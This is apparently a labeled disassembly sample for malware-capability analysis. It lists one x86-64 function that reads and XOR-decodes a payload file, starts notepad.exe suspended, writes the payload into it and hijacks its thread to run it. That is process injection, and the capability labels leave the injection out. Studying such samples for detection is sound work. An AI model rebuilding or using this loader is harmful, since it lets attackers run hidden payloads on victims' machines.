Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size
Read file on windows
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x538], rax
xor r15d, r15d
mov dword [rbp + 0x4d0], 0x75006f
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x4d0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov dword [rbp + 0x4d4], 0x700074
mov dword [rbp + 0x4d8], 0x740075
mov dword [rbp + 0x4dc], 0x74002e
mov dword [rbp + 0x4e0], 0x740078
mov word [rbp + 0x4e4], r15w
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001411
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
movsxd rsi, eax
mov rax, 0xffffffffffffffff
mov ecx, esi
add ecx, 1
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea ecx, [rsi + 1]
xor edx, edx
movsxd r8, ecx
mov rbx, rax
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000110f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001411
mov rdi, rsi
mov rdx, r15
test esi, esi
je 0x1400011bd
cmp rsi, 0x40
jb 0x14000119a
movdqa xmm2, xmmword [0x1400032b0]
lea rax, [rbx + 0x20]
mov rcx, rsi
and rcx, 0xffffffffffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
cmp rdx, rcx
jb 0x140001140
cmp rdx, rdi
jae 0x1400011bd
mov rcx, rdi
lea rax, [rdx + rbx]
sub rcx, rdx
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0xf2
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400011b0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0x4c0]
mov dword [rbp + 0x4c0], 0x74726956
mov rcx, rax
mov dword [rbp + 0x4c4], 0x416c6175
mov r14, rax
mov dword [rbp + 0x4c8], 0x636f6c6c
mov word [rbp + 0x4cc], 0x7845
mov byte [rbp + 0x4ce], r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x4b0]
mov dword [rbp + 0x4b0], 0x61657243
mov rcx, r14
mov dword [rbp + 0x4b4], 0x72506574
mov rsi, rax
mov dword [rbp + 0x4b8], 0x7365636f
mov word [rbp + 0x4bc], 0x73
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
lea rcx, [rsp + 0x50]
mov dword [rbp + 0x4e8], 0x3a0063
mov qword [rsp + 0x48], rcx
xor r9d, r9d
lea rcx, [rsp + 0x70]
mov dword [rbp + 0x4ec], 0x5c005c
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x4e8]
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
movups xmmword [rsp + 0x78], xmm0
mov dword [rbp + 0x4f0], 0x690077
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp + 0x4f4], 0x64006e
movups xmmword [rbp - 0x68], xmm0
mov dword [rbp + 0x4f8], 0x77006f
movups xmmword [rbp - 0x58], xmm0
mov dword [rbp + 0x4fc], 0x5c0073
movups xmmword [rbp - 0x48], xmm0
mov dword [rbp + 0x500], 0x6e005c
movups xmmword [rbp - 0x38], xmm0
mov dword [rbp + 0x504], 0x74006f
mov dword [rbp + 0x508], 0x700065
mov dword [rbp + 0x50c], 0x640061
mov dword [rbp + 0x510], 0x65002e
mov dword [rbp + 0x514], 0x650078
mov word [rbp + 0x518], r15w
call rax
test eax, eax
je 0x140001408
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rdi
mov dword [rsp + 0x20], 0x40
xor edx, edx
call rsi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x1400013f2
movdqa xmm0, xmmword [str.WriteProcessMemo]
lea rdx, [rbp + 0x520]
mov rcx, r14
mov word [rbp + 0x530], 0x7972
movdqu xmmword [rbp + 0x520], xmm0
mov byte [rbp + 0x532], r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x50]
mov r9, rdi
mov r8, rbx
mov qword [rsp + 0x20], r15
mov rdx, rsi
call rax
test eax, eax
je 0x1400013f2
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001411
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xd8], rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140001411
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
mov rcx, qword [rbp + 0x538]
xor rcx, rsp
call fcn.140001460
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret